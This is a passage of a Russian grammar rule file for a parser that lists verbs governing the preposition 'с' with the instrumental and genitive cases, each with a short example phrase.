rus_verbs:согрешить{}, // согрешить с замужней
rus_verbs:определиться{}, // определиться с победителем
rus_verbs:перемешаться{}, // перемешаться с гранулами
rus_verbs:затрудняться{}, // затрудняться с ответом
rus_verbs:обождать{}, // обождать со стартом
rus_verbs:фыркать{}, // фыркать с презрением
rus_verbs:засидеться{}, // засидеться с приятелем
rus_verbs:крепнуть{}, // крепнуть с годами
rus_verbs:пировать{}, // пировать с дружиной
rus_verbs:щебетать{}, // щебетать с сестричками
rus_verbs:маяться{}, // маяться с кашлем
rus_verbs:сближать{}, // сближать с центральным светилом
rus_verbs:меркнуть{}, // меркнуть с возрастом
rus_verbs:заспорить{}, // заспорить с оппонентами
rus_verbs:граничить{}, // граничить с Ливаном
rus_verbs:перестараться{}, // перестараться со стимуляторами
rus_verbs:объединить{}, // объединить с филиалом
rus_verbs:свыкнуться{}, // свыкнуться с утратой
rus_verbs:посоветоваться{}, // посоветоваться с адвокатами
rus_verbs:напутать{}, // напутать с ведомостями
rus_verbs:нагрянуть{}, // нагрянуть с обыском
rus_verbs:посовещаться{}, // посовещаться с судьей
rus_verbs:провернуть{}, // провернуть с друганом
rus_verbs:разделяться{}, // разделяться с сотрапезниками
rus_verbs:пересечься{}, // пересечься с второй колонной
rus_verbs:опережать{}, // опережать с большим запасом
rus_verbs:перепутаться{}, // перепутаться с другой линией
rus_verbs:соотноситься{}, // соотноситься с затратами
rus_verbs:смешивать{}, // смешивать с золой
rus_verbs:свидеться{}, // свидеться с тобой
rus_verbs:переспать{}, // переспать с графиней
rus_verbs:поладить{}, // поладить с соседями
rus_verbs:протащить{}, // протащить с собой
rus_verbs:разминуться{}, // разминуться с встречным потоком
rus_verbs:перемежаться{}, // перемежаться с успехами
rus_verbs:рассчитаться{}, // рассчитаться с кредиторами
rus_verbs:срастись{}, // срастись с телом
rus_verbs:знакомить{}, // знакомить с родителями
rus_verbs:поругаться{}, // поругаться с родителями
rus_verbs:совладать{}, // совладать с чувствами
rus_verbs:обручить{}, // обручить с богатой невестой
rus_verbs:сближаться{}, // сближаться с вражеским эсминцем
rus_verbs:замутить{}, // замутить с Ксюшей
rus_verbs:повозиться{}, // повозиться с настройкой
rus_verbs:торговаться{}, // торговаться с продавцами
rus_verbs:уединиться{}, // уединиться с девчонкой
rus_verbs:переборщить{}, // переборщить с добавкой
rus_verbs:ознакомить{}, // ознакомить с пожеланиями
rus_verbs:прочесывать{}, // прочесывать с собаками
rus_verbs:переписываться{}, // переписываться с корреспондентами
rus_verbs:повздорить{}, // повздорить с сержантом
rus_verbs:разлучить{}, // разлучить с семьей
rus_verbs:соседствовать{}, // соседствовать с цыганами
rus_verbs:застукать{}, // застукать с проститутками
rus_verbs:напуститься{}, // напуститься с кулаками
rus_verbs:сдружиться{}, // сдружиться с ребятами
rus_verbs:соперничать{}, // соперничать с параллельным классом
rus_verbs:прочесать{}, // прочесать с собаками
rus_verbs:кокетничать{}, // кокетничать с гимназистками
rus_verbs:мириться{}, // мириться с убытками
rus_verbs:оплошать{}, // оплошать с билетами
rus_verbs:отождествлять{}, // отождествлять с литературным героем
rus_verbs:хитрить{}, // хитрить с зарплатой
rus_verbs:провозиться{}, // провозиться с задачкой
rus_verbs:коротать{}, // коротать с друзьями
rus_verbs:соревноваться{}, // соревноваться с машиной
rus_verbs:уживаться{}, // уживаться с местными жителями
rus_verbs:отождествляться{}, // отождествляться с литературным героем
rus_verbs:сопоставить{}, // сопоставить с эталоном
rus_verbs:пьянствовать{}, // пьянствовать с друзьями
rus_verbs:залетать{}, // залетать с паленой водкой
rus_verbs:гастролировать{}, // гастролировать с новой цирковой программой
rus_verbs:запаздывать{}, // запаздывать с кормлением
rus_verbs:таскаться{}, // таскаться с сумками
rus_verbs:контрастировать{}, // контрастировать с туфлями
rus_verbs:сшибиться{}, // сшибиться с форвардом
rus_verbs:состязаться{}, // состязаться с лучшей командой
rus_verbs:затрудниться{}, // затрудниться с объяснением
rus_verbs:объясниться{}, // объясниться с пострадавшими
rus_verbs:разводиться{}, // разводиться со сварливой женой
rus_verbs:препираться{}, // препираться с адвокатами
rus_verbs:сосуществовать{}, // сосуществовать с крупными хищниками
rus_verbs:свестись{}, // свестись с нулевым счетом
rus_verbs:обговорить{}, // обговорить с директором
rus_verbs:обвенчаться{}, // обвенчаться с ведьмой
rus_verbs:экспериментировать{}, // экспериментировать с генами
rus_verbs:сверять{}, // сверять с таблицей
rus_verbs:сверяться{}, // свериться с таблицей
rus_verbs:сблизить{}, // сблизить с точкой
rus_verbs:гармонировать{}, // гармонировать с обоями
rus_verbs:перемешивать{}, // перемешивать с молоком
rus_verbs:трепаться{}, // трепаться с сослуживцами
rus_verbs:перемигиваться{}, // перемигиваться с соседкой
rus_verbs:разоткровенничаться{}, // разоткровенничаться с незнакомцем
rus_verbs:распить{}, // распить с собутыльниками
rus_verbs:скрестись{}, // скрестись с дикой лошадью
rus_verbs:передраться{}, // передраться с дворовыми собаками
rus_verbs:умыть{}, // умыть с мылом
rus_verbs:грызться{}, // грызться с соседями
rus_verbs:переругиваться{}, // переругиваться с соседями
rus_verbs:доиграться{}, // доиграться со спичками
rus_verbs:заладиться{}, // заладиться с подругой
rus_verbs:скрещиваться{}, // скрещиваться с дикими видами
rus_verbs:повидаться{}, // повидаться с дедушкой
rus_verbs:повоевать{}, // повоевать с орками
rus_verbs:сразиться{}, // сразиться с лучшим рыцарем
rus_verbs:кипятить{}, // кипятить с отбеливателем
rus_verbs:усердствовать{}, // усердствовать с наказанием
rus_verbs:схлестнуться{}, // схлестнуться с лучшим боксером
rus_verbs:пошептаться{}, // пошептаться с судьями
rus_verbs:сравняться{}, // сравняться с лучшими экземплярами
rus_verbs:церемониться{}, // церемониться с пьяницами
rus_verbs:консультироваться{}, // консультироваться со специалистами
rus_verbs:переусердствовать{}, // переусердствовать с наказанием
rus_verbs:проноситься{}, // проноситься с собой
rus_verbs:перемешать{}, // перемешать с гипсом
rus_verbs:темнить{}, // темнить с долгами
rus_verbs:сталкивать{}, // сталкивать с черной дырой
rus_verbs:увольнять{}, // увольнять с волчьим билетом
rus_verbs:заигрывать{}, // заигрывать с совершенно диким животным
rus_verbs:сопоставлять{}, // сопоставлять с эталонными образцами
rus_verbs:расторгнуть{}, // расторгнуть с нерасторопными поставщиками долгосрочный контракт
rus_verbs:созвониться{}, // созвониться с мамой
rus_verbs:спеться{}, // спеться с отъявленными хулиганами
rus_verbs:интриговать{}, // интриговать с придворными
rus_verbs:приобрести{}, // приобрести со скидкой
rus_verbs:задержаться{}, // задержаться со сдачей работы
rus_verbs:плавать{}, // плавать со спасательным кругом
rus_verbs:якшаться{}, // Не якшайся с врагами
инфинитив:ассоциировать{вид:соверш}, // читатели ассоциируют с собой героя книги
инфинитив:ассоциировать{вид:несоверш},
глагол:ассоциировать{вид:соверш}, // читатели ассоциируют с собой героя книги
глагол:ассоциировать{вид:несоверш},
//+прилагательное:ассоциировавший{вид:несоверш},
прилагательное:ассоциировавший{вид:соверш},
прилагательное:ассоциирующий{},
деепричастие:ассоциируя{},
деепричастие:ассоциировав{},
rus_verbs:ассоциироваться{}, // герой книги ассоциируется с реальным персонажем
rus_verbs:аттестовывать{}, // Они аттестовывают сотрудников с помощью наборра тестов
rus_verbs:аттестовываться{}, // Сотрудники аттестовываются с помощью набора тестов
//+инфинитив:аффилировать{вид:соверш}, // эти предприятия были аффилированы с олигархом
//+глагол:аффилировать{вид:соверш},
прилагательное:аффилированный{},
rus_verbs:баловаться{}, // мальчик баловался с молотком
rus_verbs:балясничать{}, // женщина балясничала с товарками
rus_verbs:богатеть{}, // Провинция богатеет от торговли с соседями
rus_verbs:бодаться{}, // теленок бодается с деревом
rus_verbs:боксировать{}, // Майкл дважды боксировал с ним
rus_verbs:брататься{}, // Солдаты братались с бойцами союзников
rus_verbs:вальсировать{}, // Мальчик вальсирует с девочкой
rus_verbs:вверстывать{}, // Дизайнер с трудом вверстывает блоки в страницу
rus_verbs:происходить{}, // Что происходит с мировой экономикой?
rus_verbs:произойти{}, // Что произошло с экономикой?
rus_verbs:взаимодействовать{}, // Электроны взаимодействуют с фотонами
rus_verbs:вздорить{}, // Эта женщина часто вздорила с соседями
rus_verbs:сойтись{}, // Мальчик сошелся с бандой хулиганов
rus_verbs:вобрать{}, // вобрать в себя лучшие методы борьбы с вредителями
rus_verbs:водиться{}, // Няня водится с детьми
rus_verbs:воевать{}, // Фермеры воевали с волками
rus_verbs:возиться{}, // Няня возится с детьми
rus_verbs:ворковать{}, // Голубь воркует с голубкой
rus_verbs:воссоединиться{}, // Дети воссоединились с семьей
rus_verbs:воссоединяться{}, // Дети воссоединяются с семьей
rus_verbs:вошкаться{}, // Не вошкайся с этой ерундой
rus_verbs:враждовать{}, // враждовать с соседями
rus_verbs:временить{}, // временить с выходом на пенсию
rus_verbs:расстаться{}, // я не могу расстаться с тобой
rus_verbs:выдирать{}, // выдирать с мясом
rus_verbs:выдираться{}, // выдираться с мясом
rus_verbs:вытворить{}, // вытворить что-либо с чем-либо
rus_verbs:вытворять{}, // вытворять что-либо с чем-либо
rus_verbs:сделать{}, // сделать с чем-то
rus_verbs:домыть{}, // домыть с мылом
rus_verbs:случиться{}, // случиться с кем-то
rus_verbs:остаться{}, // остаться с кем-то
rus_verbs:случать{}, // случать с породистым кобельком
rus_verbs:послать{}, // послать с весточкой
rus_verbs:работать{}, // работать с роботами
rus_verbs:провести{}, // провести с девчонками время
rus_verbs:заговорить{}, // заговорить с незнакомкой
rus_verbs:прошептать{}, // прошептать с придыханием
rus_verbs:читать{}, // читать с выражением
rus_verbs:слушать{}, // слушать с повышенным вниманием
rus_verbs:принести{}, // принести с собой
rus_verbs:спать{}, // спать с женщинами
rus_verbs:закончить{}, // закончить с приготовлениями
rus_verbs:помочь{}, // помочь с перестановкой
rus_verbs:уехать{}, // уехать с семьей
rus_verbs:случаться{}, // случаться с кем-то
rus_verbs:кутить{}, // кутить с проститутками
rus_verbs:разговаривать{}, // разговаривать с ребенком
rus_verbs:погодить{}, // погодить с ликвидацией
rus_verbs:считаться{}, // считаться с чужим мнением
rus_verbs:носить{}, // носить с собой
rus_verbs:хорошеть{}, // хорошеть с каждым днем
rus_verbs:приводить{}, // приводить с собой
rus_verbs:прыгнуть{}, // прыгнуть с парашютом
rus_verbs:петь{}, // петь с чувством
rus_verbs:сложить{}, // сложить с результатом
rus_verbs:познакомиться{}, // познакомиться с другими студентами
rus_verbs:обращаться{}, // обращаться с животными
rus_verbs:съесть{}, // съесть с хлебом
rus_verbs:ошибаться{}, // ошибаться с дозировкой
rus_verbs:столкнуться{}, // столкнуться с медведем
rus_verbs:справиться{}, // справиться с нуждой
rus_verbs:торопиться{}, // торопиться с ответом
rus_verbs:поздравлять{}, // поздравлять с победой
rus_verbs:объясняться{}, // объясняться с начальством
rus_verbs:пошутить{}, // пошутить с подругой
rus_verbs:поздороваться{}, // поздороваться с коллегами
rus_verbs:поступать{}, // Как поступать с таким поведением?
rus_verbs:определяться{}, // определяться с кандидатами
rus_verbs:связаться{}, // связаться с поставщиком
rus_verbs:спорить{}, // спорить с собеседником
rus_verbs:разобраться{}, // разобраться с делами
rus_verbs:ловить{}, // ловить с удочкой
rus_verbs:помедлить{}, // Кандидат помедлил с ответом на заданный вопрос
rus_verbs:шутить{}, // шутить с диким зверем
rus_verbs:разорвать{}, // разорвать с поставщиком контракт
rus_verbs:увезти{}, // увезти с собой
rus_verbs:унести{}, // унести с собой
rus_verbs:сотворить{}, // сотворить с собой что-то нехорошее
rus_verbs:складываться{}, // складываться с первым импульсом
rus_verbs:соглашаться{}, // соглашаться с предложенным договором
//rus_verbs:покончить{}, // покончить с развратом
rus_verbs:прихватить{}, // прихватить с собой
rus_verbs:похоронить{}, // похоронить с почестями
rus_verbs:связывать{}, // связывать с компанией свою судьбу
rus_verbs:совпадать{}, // совпадать с предсказанием
rus_verbs:танцевать{}, // танцевать с девушками
rus_verbs:поделиться{}, // поделиться с выжившими
rus_verbs:оставаться{}, // я не хотел оставаться с ним в одной комнате.
rus_verbs:беседовать{}, // преподаватель, беседующий со студентами
rus_verbs:бороться{}, // человек, борющийся со смертельной болезнью
rus_verbs:шептаться{}, // девочка, шепчущаяся с подругой
rus_verbs:сплетничать{}, // женщина, сплетничавшая с товарками
rus_verbs:поговорить{}, // поговорить с виновниками
rus_verbs:сказать{}, // сказать с трудом
rus_verbs:произнести{}, // произнести с трудом
rus_verbs:говорить{}, // говорить с акцентом
rus_verbs:произносить{}, // произносить с трудом
rus_verbs:встречаться{}, // кто с Антонио встречался?
rus_verbs:посидеть{}, // посидеть с друзьями
rus_verbs:расквитаться{}, // расквитаться с обидчиком
rus_verbs:поквитаться{}, // поквитаться с обидчиком
rus_verbs:ругаться{}, // ругаться с женой
rus_verbs:поскандалить{}, // поскандалить с женой
rus_verbs:потанцевать{}, // потанцевать с подругой
rus_verbs:скандалить{}, // скандалить с соседями
rus_verbs:разругаться{}, // разругаться с другом
rus_verbs:болтать{}, // болтать с подругами
rus_verbs:потрепаться{}, // потрепаться с соседкой
rus_verbs:войти{}, // войти с регистрацией
rus_verbs:входить{}, // входить с регистрацией
rus_verbs:возвращаться{}, // возвращаться с триумфом
rus_verbs:опоздать{}, // Он опоздал с подачей сочинения.
rus_verbs:молчать{}, // Он молчал с ледяным спокойствием.
rus_verbs:сражаться{}, // Он героически сражался с врагами.
rus_verbs:выходить{}, // Он всегда выходит с зонтиком.
rus_verbs:сличать{}, // сличать перевод с оригиналом
rus_verbs:начать{}, // я начал с товарищем спор о религии
rus_verbs:согласовать{}, // Маша согласовала с Петей дальнейшие поездки
rus_verbs:приходить{}, // Приходите с нею.
rus_verbs:жить{}, // кто с тобой жил?
rus_verbs:расходиться{}, // Маша расходится с Петей
rus_verbs:сцеплять{}, // сцеплять карабин с обвязкой
rus_verbs:торговать{}, // мы торгуем с ними нефтью
rus_verbs:уединяться{}, // уединяться с подругой в доме
rus_verbs:уладить{}, // уладить конфликт с соседями
rus_verbs:идти{}, // Я шел туда с тяжёлым сердцем.
rus_verbs:разделять{}, // Я разделяю с вами горе и радость.
rus_verbs:обратиться{}, // Я обратился к нему с просьбой о помощи.
rus_verbs:захватить{}, // Я не захватил с собой денег.
прилагательное:знакомый{}, // Я знаком с ними обоими.
rus_verbs:вести{}, // Я веду с ней переписку.
прилагательное:сопряженный{}, // Это сопряжено с большими трудностями.
прилагательное:связанный{причастие}, // Это дело связано с риском.
rus_verbs:поехать{}, // Хотите поехать со мной в театр?
rus_verbs:проснуться{}, // Утром я проснулся с ясной головой.
rus_verbs:лететь{}, // Самолёт летел со скоростью звука.
rus_verbs:играть{}, // С огнём играть опасно!
rus_verbs:поделать{}, // С ним ничего не поделаешь.
rus_verbs:стрястись{}, // С ней стряслось несчастье.
rus_verbs:смотреться{}, // Пьеса смотрится с удовольствием.
rus_verbs:смотреть{}, // Она смотрела на меня с явным неудовольствием.
rus_verbs:разойтись{}, // Она разошлась с мужем.
rus_verbs:пристать{}, // Она пристала ко мне с расспросами.
rus_verbs:посмотреть{}, // Она посмотрела на меня с удивлением.
rus_verbs:поступить{}, // Она плохо поступила с ним.
rus_verbs:выйти{}, // Она вышла с усталым и недовольным видом.
rus_verbs:взять{}, // Возьмите с собой только самое необходимое.
rus_verbs:наплакаться{}, // Наплачется она с ним.
rus_verbs:лежать{}, // Он лежит с воспалением лёгких.
rus_verbs:дышать{}, // дышащий с трудом
rus_verbs:брать{}, // брать с собой
rus_verbs:мчаться{}, // Автомобиль мчится с необычайной быстротой.
rus_verbs:упасть{}, // Ваза упала со звоном.
rus_verbs:вернуться{}, // мы вернулись вчера домой с полным лукошком
rus_verbs:сидеть{}, // Она сидит дома с ребенком
rus_verbs:встретиться{}, // встречаться с кем-либо
ГЛ_ИНФ(придти), прилагательное:пришедший{}, // пришедший с другом
ГЛ_ИНФ(постирать), прилагательное:постиранный{}, деепричастие:постирав{},
rus_verbs:мыть{}
}
fact гл_предл
{
if context { Гл_С_Твор предлог:с{} @regex("[a-z]+[0-9]*") }
then return true
}
fact гл_предл
{
if context { Гл_С_Твор предлог:с{} *:*{падеж:твор} }
then return true
}
#endregion ТВОРИТЕЛЬНЫЙ
#region РОДИТЕЛЬНЫЙ
wordentry_set Гл_С_Род=
{
rus_verbs:УХОДИТЬ{}, // Но с базы не уходить.
rus_verbs:РВАНУТЬ{}, // Водитель прорычал проклятие и рванул машину с места. (РВАНУТЬ)
rus_verbs:ОХВАТИТЬ{}, // огонь охватил его со всех сторон (ОХВАТИТЬ)
rus_verbs:ЗАМЕТИТЬ{}, // Он понимал, что свет из тайника невозможно заметить с палубы (ЗАМЕТИТЬ/РАЗГЛЯДЕТЬ)
rus_verbs:РАЗГЛЯДЕТЬ{}, //
rus_verbs:СПЛАНИРОВАТЬ{}, // Птицы размером с орлицу, вероятно, не могли бы подняться в воздух, не спланировав с высокого утеса. (СПЛАНИРОВАТЬ)
rus_verbs:УМЕРЕТЬ{}, // Он умрет с голоду. (УМЕРЕТЬ)
rus_verbs:ВСПУГНУТЬ{}, // Оба упали с лязгом, вспугнувшим птиц с ближайших деревьев (ВСПУГНУТЬ)
rus_verbs:РЕВЕТЬ{}, // Время от времени какой-то ящер ревел с берега или самой реки. (РЕВЕТЬ/ЗАРЕВЕТЬ/ПРОРЕВЕТЬ/ЗАОРАТЬ/ПРООРАТЬ/ОРАТЬ/ПРОКРИЧАТЬ/ЗАКРИЧАТЬ/ВОПИТЬ/ЗАВОПИТЬ)
rus_verbs:ЗАРЕВЕТЬ{}, //
rus_verbs:ПРОРЕВЕТЬ{}, //
rus_verbs:ЗАОРАТЬ{}, //
rus_verbs:ПРООРАТЬ{}, //
rus_verbs:ОРАТЬ{}, //
rus_verbs:ЗАКРИЧАТЬ{},
rus_verbs:ВОПИТЬ{}, //
rus_verbs:ЗАВОПИТЬ{}, //
rus_verbs:СТАЩИТЬ{}, // Я видела как они стащили его с валуна и увели с собой. (СТАЩИТЬ/СТАСКИВАТЬ)
rus_verbs:СТАСКИВАТЬ{}, //
rus_verbs:ПРОВЫТЬ{}, // Призрак трубного зова провыл с другой стороны дверей. (ПРОВЫТЬ, ЗАВЫТЬ, ВЫТЬ)
rus_verbs:ЗАВЫТЬ{}, //
rus_verbs:ВЫТЬ{}, //
rus_verbs:СВЕТИТЬ{}, // Полуденное майское солнце ярко светило с голубых небес Аризоны. (СВЕТИТЬ)
rus_verbs:ОТСВЕЧИВАТЬ{}, // Солнце отсвечивало с белых лошадей, белых щитов и белых перьев и искрилось на наконечниках пик. (ОТСВЕЧИВАТЬ С, ИСКРИТЬСЯ НА)
rus_verbs:перегнать{}, // Скот нужно перегнать с этого пастбища на другое
rus_verbs:собирать{}, // мальчики начали собирать со столов посуду
rus_verbs:разглядывать{}, // ты ее со всех сторон разглядывал
rus_verbs:СЖИМАТЬ{}, // меня плотно сжимали со всех сторон (СЖИМАТЬ)
rus_verbs:СОБРАТЬСЯ{}, // со всего света собрались! (СОБРАТЬСЯ)
rus_verbs:ИЗГОНЯТЬ{}, // Вино в пакетах изгоняют с рынка (ИЗГОНЯТЬ)
rus_verbs:ВЛЮБИТЬСЯ{}, // влюбился в нее с первого взгляда (ВЛЮБИТЬСЯ)
rus_verbs:РАЗДАВАТЬСЯ{}, // теперь крик раздавался со всех сторон (РАЗДАВАТЬСЯ)
rus_verbs:ПОСМОТРЕТЬ{}, // Посмотрите на это с моей точки зрения (ПОСМОТРЕТЬ С род)
rus_verbs:СХОДИТЬ{}, // принимать участие во всех этих событиях - значит продолжать сходить с ума (СХОДИТЬ С род)
rus_verbs:РУХНУТЬ{}, // В Башкирии микроавтобус рухнул с моста (РУХНУТЬ С)
rus_verbs:УВОЛИТЬ{}, // рекомендовать уволить их с работы (УВОЛИТЬ С)
rus_verbs:КУПИТЬ{}, // еда , купленная с рук (КУПИТЬ С род)
rus_verbs:УБРАТЬ{}, // помочь убрать со стола? (УБРАТЬ С)
rus_verbs:ТЯНУТЬ{}, // с моря тянуло ветром (ТЯНУТЬ С)
rus_verbs:ПРИХОДИТЬ{}, // приходит с работы муж (ПРИХОДИТЬ С)
rus_verbs:ПРОПАСТЬ{}, // изображение пропало с экрана (ПРОПАСТЬ С)
rus_verbs:ПОТЯНУТЬ{}, // с балкона потянуло холодом (ПОТЯНУТЬ С род)
rus_verbs:РАЗДАТЬСЯ{}, // с палубы раздался свист (РАЗДАТЬСЯ С род)
rus_verbs:ЗАЙТИ{}, // зашел с другой стороны (ЗАЙТИ С род)
rus_verbs:НАЧАТЬ{}, // давай начнем с этого (НАЧАТЬ С род)
rus_verbs:УВЕСТИ{}, // дала увести с развалин (УВЕСТИ С род)
rus_verbs:ОПУСКАТЬСЯ{}, // с гор опускалась ночь (ОПУСКАТЬСЯ С)
rus_verbs:ВСКОЧИТЬ{}, // Тристан вскочил с места (ВСКОЧИТЬ С род)
rus_verbs:БРАТЬ{}, // беру с него пример (БРАТЬ С род)
rus_verbs:ПРИПОДНЯТЬСЯ{}, // голова приподнялась с плеча (ПРИПОДНЯТЬСЯ С род)
rus_verbs:ПОЯВИТЬСЯ{}, // всадники появились с востока (ПОЯВИТЬСЯ С род)
rus_verbs:НАЛЕТЕТЬ{}, // с моря налетел ветер (НАЛЕТЕТЬ С род)
rus_verbs:ВЗВИТЬСЯ{}, // Натан взвился с места (ВЗВИТЬСЯ С род)
rus_verbs:ПОДОБРАТЬ{}, // подобрал с земли копье (ПОДОБРАТЬ С)
rus_verbs:ДЕРНУТЬСЯ{}, // Кирилл дернулся с места (ДЕРНУТЬСЯ С род)
rus_verbs:ВОЗВРАЩАТЬСЯ{}, // они возвращались с реки (ВОЗВРАЩАТЬСЯ С род)
rus_verbs:ПЛЫТЬ{}, // плыли они с запада (ПЛЫТЬ С род)
rus_verbs:ЗНАТЬ{}, // одно знали с древности (ЗНАТЬ С)
rus_verbs:НАКЛОНИТЬСЯ{}, // всадник наклонился с лошади (НАКЛОНИТЬСЯ С)
rus_verbs:НАЧАТЬСЯ{}, // началось все со скуки (НАЧАТЬСЯ С)
прилагательное:ИЗВЕСТНЫЙ{}, // Культура его известна со времен глубокой древности (ИЗВЕСТНЫЙ С)
rus_verbs:СБИТЬ{}, // Порыв ветра сбил Ваньку с ног (ts СБИТЬ С)
rus_verbs:СОБИРАТЬСЯ{}, // они собираются сюда со всей равнины. (СОБИРАТЬСЯ С род)
rus_verbs:смыть{}, // Дождь должен смыть с листьев всю пыль. (СМЫТЬ С)
rus_verbs:привстать{}, // Мартин привстал со своего стула. (привстать с)
rus_verbs:спасть{}, // тяжесть спала с души. (спасть с)
rus_verbs:выглядеть{}, // так оно со стороны выглядело. (ВЫГЛЯДЕТЬ С)
rus_verbs:повернуть{}, // к вечеру они повернули с нее направо. (ПОВЕРНУТЬ С)
rus_verbs:ТЯНУТЬСЯ{}, // со стороны реки ко мне тянулись языки тумана. (ТЯНУТЬСЯ С)
rus_verbs:ВОЕВАТЬ{}, // Генерал воевал с юных лет. (ВОЕВАТЬ С чего-то)
rus_verbs:БОЛЕТЬ{}, // Голова болит с похмелья. (БОЛЕТЬ С)
rus_verbs:приближаться{}, // со стороны острова приближалась лодка.
rus_verbs:ПОТЯНУТЬСЯ{}, // со всех сторон к нему потянулись руки. (ПОТЯНУТЬСЯ С)
rus_verbs:пойти{}, // низкий гул пошел со стороны долины. (пошел с)
rus_verbs:зашевелиться{}, // со всех сторон зашевелились кусты. (зашевелиться с)
rus_verbs:МЧАТЬСЯ{}, // со стороны леса мчались всадники. (МЧАТЬСЯ С)
rus_verbs:БЕЖАТЬ{}, // люди бежали со всех ног. (БЕЖАТЬ С)
rus_verbs:СЛЫШАТЬСЯ{}, // шум слышался со стороны моря. (СЛЫШАТЬСЯ С)
rus_verbs:ЛЕТЕТЬ{}, // со стороны деревни летела птица. (ЛЕТЕТЬ С)
rus_verbs:ПЕРЕТЬ{}, // враги прут со всех сторон. (ПЕРЕТЬ С)
rus_verbs:ПОСЫПАТЬСЯ{}, // вопросы посыпались со всех сторон. (ПОСЫПАТЬСЯ С)
rus_verbs:ИДТИ{}, // угроза шла со стороны моря. (ИДТИ С + род.п.)
rus_verbs:ПОСЛЫШАТЬСЯ{}, // со стен послышались крики ужаса. (ПОСЛЫШАТЬСЯ С)
rus_verbs:ОБРУШИТЬСЯ{}, // звуки обрушились со всех сторон. (ОБРУШИТЬСЯ С)
rus_verbs:УДАРИТЬ{}, // голоса ударили со всех сторон. (УДАРИТЬ С)
rus_verbs:ПОКАЗАТЬСЯ{}, // со стороны деревни показались земляне. (ПОКАЗАТЬСЯ С)
rus_verbs:прыгать{}, // придется прыгать со второго этажа. (прыгать с)
rus_verbs:СТОЯТЬ{}, // со всех сторон стоял лес. (СТОЯТЬ С)
rus_verbs:доноситься{}, // шум со двора доносился чудовищный. (доноситься с)
rus_verbs:мешать{}, // мешать воду с мукой (мешать с)
rus_verbs:вестись{}, // Переговоры ведутся с позиции силы. (вестись с)
rus_verbs:вставать{}, // Он не встает с кровати. (вставать с)
rus_verbs:окружать{}, // зеленые щупальца окружали ее со всех сторон. (окружать с)
rus_verbs:причитаться{}, // С вас причитается 50 рублей.
rus_verbs:соскользнуть{}, // его острый клюв соскользнул с ее руки.
rus_verbs:сократить{}, // Его сократили со службы.
rus_verbs:поднять{}, // рука подняла с пола
rus_verbs:поднимать{},
rus_verbs:тащить{}, // тем временем другие пришельцы тащили со всех сторон камни.
rus_verbs:полететь{}, // Мальчик полетел с лестницы.
rus_verbs:литься{}, // вода льется с неба
rus_verbs:натечь{}, // натечь с сапог
rus_verbs:спрыгивать{}, // спрыгивать с движущегося трамвая
rus_verbs:съезжать{}, // съезжать с заявленной темы
rus_verbs:покатываться{}, // покатываться со смеху
rus_verbs:перескакивать{}, // перескакивать с одного примера на другой
rus_verbs:сдирать{}, // сдирать с тела кожу
rus_verbs:соскальзывать{}, // соскальзывать с крючка
rus_verbs:сметать{}, // сметать с прилавков
rus_verbs:кувыркнуться{}, // кувыркнуться со ступеньки
rus_verbs:прокаркать{}, // прокаркать с ветки
rus_verbs:стряхивать{}, // стряхивать с одежды
rus_verbs:сваливаться{}, // сваливаться с лестницы
rus_verbs:слизнуть{}, // слизнуть с лица
rus_verbs:доставляться{}, // доставляться с фермы
rus_verbs:обступать{}, // обступать с двух сторон
rus_verbs:повскакивать{}, // повскакивать с мест
rus_verbs:обозревать{}, // обозревать с вершины
rus_verbs:слинять{}, // слинять с урока
rus_verbs:смывать{}, // смывать с лица
rus_verbs:спихнуть{}, // спихнуть со стола
rus_verbs:обозреть{}, // обозреть с вершины
rus_verbs:накупить{}, // накупить с рук
rus_verbs:схлынуть{}, // схлынуть с берега
rus_verbs:спикировать{}, // спикировать с километровой высоты
rus_verbs:уползти{}, // уползти с поля боя
rus_verbs:сбиваться{}, // сбиваться с пути
rus_verbs:отлучиться{}, // отлучиться с поста
rus_verbs:сигануть{}, // сигануть с крыши
rus_verbs:сместить{}, // сместить с поста
rus_verbs:списать{}, // списать с оригинального устройства
инфинитив:слетать{ вид:несоверш }, глагол:слетать{ вид:несоверш }, // слетать с трассы
деепричастие:слетая{},
rus_verbs:напиваться{}, // напиваться с горя
rus_verbs:свесить{}, // свесить с крыши
rus_verbs:заполучить{}, // заполучить со склада
rus_verbs:спадать{}, // спадать с глаз
rus_verbs:стартовать{}, // стартовать с мыса
rus_verbs:спереть{}, // спереть со склада
rus_verbs:согнать{}, // согнать с живота
rus_verbs:скатываться{}, // скатываться со стога
rus_verbs:сняться{}, // сняться с выборов
rus_verbs:слезать{}, // слезать со стола
rus_verbs:деваться{}, // деваться с подводной лодки
rus_verbs:огласить{}, // огласить с трибуны
rus_verbs:красть{}, // красть со склада
rus_verbs:расширить{}, // расширить с торца
rus_verbs:угадывать{}, // угадывать с полуслова
rus_verbs:оскорбить{}, // оскорбить со сцены
rus_verbs:срывать{}, // срывать с головы
rus_verbs:сшибить{}, // сшибить с коня
rus_verbs:сбивать{}, // сбивать с одежды
rus_verbs:содрать{}, // содрать с посетителей
rus_verbs:столкнуть{}, // столкнуть с горы
rus_verbs:отряхнуть{}, // отряхнуть с одежды
rus_verbs:сбрасывать{}, // сбрасывать с борта
rus_verbs:расстреливать{}, // расстреливать с борта вертолета
rus_verbs:придти{}, // мать скоро придет с работы
rus_verbs:съехать{}, // Миша съехал с горки
rus_verbs:свисать{}, // свисать с веток
rus_verbs:стянуть{}, // стянуть с кровати
rus_verbs:скинуть{}, // скинуть снег с плеча
rus_verbs:загреметь{}, // загреметь со стула
rus_verbs:сыпаться{}, // сыпаться с неба
rus_verbs:стряхнуть{}, // стряхнуть с головы
rus_verbs:сползти{}, // сползти со стула
rus_verbs:стереть{}, // стереть с экрана
rus_verbs:прогнать{}, // прогнать с фермы
rus_verbs:смахнуть{}, // смахнуть со стола
rus_verbs:спускать{}, // спускать с поводка
rus_verbs:деться{}, // деться с подводной лодки
rus_verbs:сдернуть{}, // сдернуть с себя
rus_verbs:сдвинуться{}, // сдвинуться с места
rus_verbs:слететь{}, // слететь с катушек
rus_verbs:обступить{}, // обступить со всех сторон
rus_verbs:снести{}, // снести с плеч
инфинитив:сбегать{ вид:несоверш }, глагол:сбегать{ вид:несоверш }, // сбегать с уроков
деепричастие:сбегая{}, прилагательное:сбегающий{},
// прилагательное:сбегавший{ вид:несоверш },
rus_verbs:запить{}, // запить с горя
rus_verbs:рубануть{}, // рубануть с плеча
rus_verbs:чертыхнуться{}, // чертыхнуться с досады
rus_verbs:срываться{}, // срываться с цепи
rus_verbs:смыться{}, // смыться с уроков
rus_verbs:похитить{}, // похитить со склада
rus_verbs:смести{}, // смести со своего пути
rus_verbs:отгружать{}, // отгружать со склада
rus_verbs:отгрузить{}, // отгрузить со склада
